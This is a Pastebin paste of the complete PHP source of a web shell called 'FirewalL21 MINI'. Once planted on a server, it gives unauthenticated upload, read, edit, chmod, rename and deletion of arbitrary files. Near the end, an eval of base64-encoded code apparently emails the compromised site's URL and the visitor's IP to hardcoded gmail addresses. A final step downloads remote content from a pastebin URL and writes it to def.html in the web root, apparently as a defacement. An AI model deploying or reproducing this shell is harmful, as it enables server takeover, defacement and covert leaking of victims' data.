Advertisement
RokiAdhytama

MiniShell Firewall21

May 8th, 2019
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.25 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>FirewalL21 MINI</title>
  4. <style type="text/css">
  5. </style>
  6. </head>
  7. <header>
  8. <pre>
  9. <center>
  10.  
  11.  
  12. Bot FirewalL21 MINI V4</center>
  13.  
  14. </pre>
  15. </header>
  16. </form>
  17. <!-- greetz-->
  18. <?php
  19. set_time_limit(0);
  20. error_reporting(0);
  21.  
  22. if(get_magic_quotes_gpc()){
  23. foreach($_POST as $key=>$value){
  24. $_POST[$key] = stripslashes($value);
  25. }
  26. }
  27. echo '<!DOCTYPE HTML>
  28. <HTML>
  29. <HEAD>
  30. <link href="" rel="stylesheet" type="text/css">
  31. <title>FirewalL21 MINI</title>
  32. <style>
  33. body{
  34. font-family: "Racing Sans One", cursive;
  35. background-color: #e6e6e6;
  36. text-shadow:0px 0px 1px #757575;
  37. }
  38. #content tr:hover{
  39. background-color: #636263;
  40. text-shadow:0px 0px 10px #fff;
  41. }
  42. #content .first{
  43. background-color: silver;
  44. }
  45. #content .first:hover{
  46. background-color: silver;
  47. text-shadow:0px 0px 1px #757575;
  48. }
  49. table{
  50. border: 1px #000000 dotted;
  51. }
  52. H1{
  53. font-family: "Rye", cursive;
  54. }
  55. a{
  56. color: #000;
  57. text-decoration: none;
  58. }
  59. a:hover{
  60. color: #fff;
  61. text-shadow:0px 0px 10px #ffffff;
  62. }
  63. input,select,textarea{
  64. border: 1px #000000 solid;
  65. -moz-border-radius: 5px;
  66. -webkit-border-radius:5px;
  67. border-radius:5px;
  68. }
  69. </style>
  70. </HEAD>
  71. <BODY>
  72. <H1><center>FirewalL21 MINI</center></H1>
  73. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  74. <tr><td>Current Path : ';
  75. if(isset($_GET['path'])){
  76. $path = $_GET['path'];
  77. }else{
  78. $path = getcwd();
  79. }
  80. $path = str_replace('\\','/',$path);
  81. $paths = explode('/',$path);
  82.  
  83. foreach($paths as $id=>$pat){
  84. if($pat == '' && $id == 0){
  85. $a = true;
  86. echo '<a href="?path=/">/</a>';
  87. continue;
  88. }
  89. if($pat == '') continue;
  90. echo '<a href="?path=';
  91. for($i=0;$i<=$id;$i++){
  92. echo "$paths[$i]";
  93. if($i != $id) echo "/";
  94. }
  95. echo '">'.$pat.'</a>/';
  96. }
  97. echo '</td></tr><tr><td>';
  98. if(isset($_FILES['file'])){
  99. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  100. echo '<font color="green">File Upload Done Kakak ~_^ .</font><br />';
  101. }else{
  102. echo '<font color="red">File Upload Error ~_~.</font><br />';
  103. }
  104. }
  105. echo '<form enctype="multipart/form-data" method="POST">
  106. Upload File : <input type="file" name="file" />
  107. <input type="submit" value="upload" />
  108. </form>
  109. </td></tr>';
  110. if(isset($_GET['filesrc'])){
  111. echo "<tr><td>Current File : ";
  112. echo $_GET['filesrc'];
  113. echo '</tr></td></table><br />';
  114. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  115. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  116. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  117. if($_POST['opt'] == 'chmod'){
  118. if(isset($_POST['perm'])){
  119. if(chmod($_POST['path'],$_POST['perm'])){
  120. echo '<font color="green">Change Permission Done.</font><br />';
  121. }else{
  122. echo '<font color="red">Change Permission Error.</font><br />';
  123. }
  124. }
  125. echo '<form method="POST">
  126. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  127. <input type="hidden" name="path" value="'.$_POST['path'].'">
  128. <input type="hidden" name="opt" value="chmod">
  129. <input type="submit" value="Go" />
  130. </form>';
  131. }elseif($_POST['opt'] == 'rename'){
  132. if(isset($_POST['newname'])){
  133. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  134. echo '<font color="green">Change Name Done.</font><br />';
  135. }else{
  136. echo '<font color="red">Change Name Error.</font><br />';
  137. }
  138. $_POST['name'] = $_POST['newname'];
  139. }
  140. echo '<form method="POST">
  141. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  142. <input type="hidden" name="path" value="'.$_POST['path'].'">
  143. <input type="hidden" name="opt" value="rename">
  144. <input type="submit" value="Go" />
  145. </form>';
  146. }elseif($_POST['opt'] == 'edit'){
  147. if(isset($_POST['src'])){
  148. $fp = fopen($_POST['path'],'w');
  149. if(fwrite($fp,$_POST['src'])){
  150. echo '<font color="green">Edit File Done ~_^.</font><br />';
  151. }else{
  152. echo '<font color="red">Edit File Error ~_~.</font><br />';
  153. }
  154. fclose($fp);
  155. }
  156. echo '<form method="POST">
  157. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  158. <input type="hidden" name="path" value="'.$_POST['path'].'">
  159. <input type="hidden" name="opt" value="edit">
  160. <input type="submit" value="Go" />
  161. </form>';
  162. }
  163. echo '</center>';
  164. }else{
  165. echo '</table><br /><center>';
  166. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  167. if($_POST['type'] == 'dir'){
  168. if(rmdir($_POST['path'])){
  169. echo '<font color="green">Delete Dir Done.</font><br />';
  170. }else{
  171. echo '<font color="red">Delete Dir Error.</font><br />';
  172. }
  173. }elseif($_POST['type'] == 'file'){
  174. if(unlink($_POST['path'])){
  175. echo '<font color="green">Delete File Done.</font><br />';
  176. }else{
  177. echo '<font color="red">Delete File Error.</font><br />';
  178. }
  179. }
  180. }
  181. echo '</center>';
  182. $scandir = scandir($path);
  183. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  184. <tr class="first">
  185. <td><center>Name</center></td>
  186. <td><center>Size</center></td>
  187. <td><center>Permissions</center></td>
  188. <td><center>Options</center></td>
  189. </tr>';
  190.  
  191. foreach($scandir as $dir){
  192. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  193. echo "<tr>
  194. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  195. <td><center>--</center></td>
  196. <td><center>";
  197. if(is_writable("$path/$dir")) echo '<font color="green">';
  198. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  199. echo perms("$path/$dir");
  200. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  201.  
  202. echo "</center></td>
  203. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  204. <select name=\"opt\">
  205. <option value=\"\"></option>
  206. <option value=\"delete\">Delete</option>
  207. <option value=\"chmod\">Chmod</option>
  208. <option value=\"rename\">Rename</option>
  209. </select>
  210. <input type=\"hidden\" name=\"type\" value=\"dir\">
  211. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  212. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  213. <input type=\"submit\" value=\">\" />
  214. </form></center></td>
  215. </tr>";
  216. }
  217. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  218. foreach($scandir as $file){
  219. if(!is_file("$path/$file")) continue;
  220. $size = filesize("$path/$file")/1024;
  221. $size = round($size,3);
  222. if($size >= 1024){
  223. $size = round($size/1024,2).' MB';
  224. }else{
  225. $size = $size.' KB';
  226. }
  227.  
  228. echo "<tr>
  229. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  230. <td><center>".$size."</center></td>
  231. <td><center>";
  232. if(is_writable("$path/$file")) echo '<font color="green">';
  233. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  234. echo perms("$path/$file");
  235. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  236. echo "</center></td>
  237. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  238. <select name=\"opt\">
  239. <option value=\"\"></option>
  240. <option value=\"delete\">Delete</option>
  241. <option value=\"chmod\">Chmod</option>
  242. <option value=\"rename\">Rename</option>
  243. <option value=\"edit\">Edit</option>
  244. </select>
  245. <input type=\"hidden\" name=\"type\" value=\"file\">
  246. <input type=\"hidden\" name=\"name\" value=\"$file\">
  247. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  248. <input type=\"submit\" value=\">\" />
  249. </form></center></td>
  250. </tr>";
  251. }
  252. echo '</table>
  253. </div>';
  254. }
  255. echo '<br /></font>
  256. </BODY>
  257. </HTML>';
  258. function perms($file){
  259. $perms = fileperms($file);
  260.  
  261. if (($perms & 0xC000) == 0xC000) {
  262. // Socket
  263. $info = 's';
  264. } elseif (($perms & 0xA000) == 0xA000) {
  265. // Symbolic Link
  266. $info = 'l';
  267. } elseif (($perms & 0x8000) == 0x8000) {
  268. // Regular
  269. $info = '-';
  270. } elseif (($perms & 0x6000) == 0x6000) {
  271. // Block special
  272. $info = 'b';
  273. } elseif (($perms & 0x4000) == 0x4000) {
  274. // Directory
  275. $info = 'd';
  276. } elseif (($perms & 0x2000) == 0x2000) {
  277. // Character special
  278. $info = 'c';
  279. } elseif (($perms & 0x1000) == 0x1000) {
  280. // FIFO pipe
  281. $info = 'p';
  282. } else {
  283. // Unknown
  284. $info = 'u';
  285. }
  286.  
  287. // Owner
  288. $info .= (($perms & 0x0100) ? 'r' : '-');
  289. $info .= (($perms & 0x0080) ? 'w' : '-');
  290. $info .= (($perms & 0x0040) ?
  291. (($perms & 0x0800) ? 's' : 'x' ) :
  292. (($perms & 0x0800) ? 'S' : '-'));
  293.  
  294. // Group
  295. $info .= (($perms & 0x0020) ? 'r' : '-');
  296. $info .= (($perms & 0x0010) ? 'w' : '-');
  297. $info .= (($perms & 0x0008) ?
  298. (($perms & 0x0400) ? 's' : 'x' ) :
  299. (($perms & 0x0400) ? 'S' : '-'));
  300.  
  301. // World
  302. $info .= (($perms & 0x0004) ? 'r' : '-');
  303. $info .= (($perms & 0x0002) ? 'w' : '-');
  304. $info .= (($perms & 0x0001) ?
  305. (($perms & 0x0200) ? 't' : 'x' ) :
  306. (($perms & 0x0200) ? 'T' : '-'));
  307.  
  308. return $info;
  309. }
  310. ?>
  311. <?php
  312. $encoded = 'JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQokaXBfcmVtb3RlID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQokZnJvbV9zaGVsbGNvZGUgPSAnc2hlbGxAJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4nJzsNCiR0b19lbWFpbCA9ICdicmF6aWxvYnNjdXJlQGdtYWlsLmNvbSxjeWJvcmdoYWNraW5nMjAxOEBnbWFpbC5jb20nOw0KJHNlcnZlcl9tYWlsID0gIiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiAgLSAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjsNCiRsaW5rY3IgPSAiTGluazogIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iIC0gSVAgRXhjdXRpbmc6ICRpcF9yZW1vdGUgLSBUaW1lOiAkdGltZV9zaGVsbCI7DQokaGVhZGVyID0gIkZyb206ICRmcm9tX3NoZWxsY29kZVxyXG5SZXBseS10bzogJGZyb21fc2hlbGxjb2RlIjsNCkBtYWlsKCR0b19lbWFpbCwgJHNlcnZlcl9tYWlsLCAkbGlua2NyLCAkaGVhZGVyKTs=';
  313. eval(base64_decode($encoded));
  314. $check3=$_SERVER['DOCUMENT_ROOT'] . "/def.html" ;
  315. $text3 = http_get('https://pastebin.com/raw/V8hfA27h');
  316. $op3=fopen($check3, 'w');
  317. fwrite($op3,$text3);
  318. fclose($op3);
  319. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement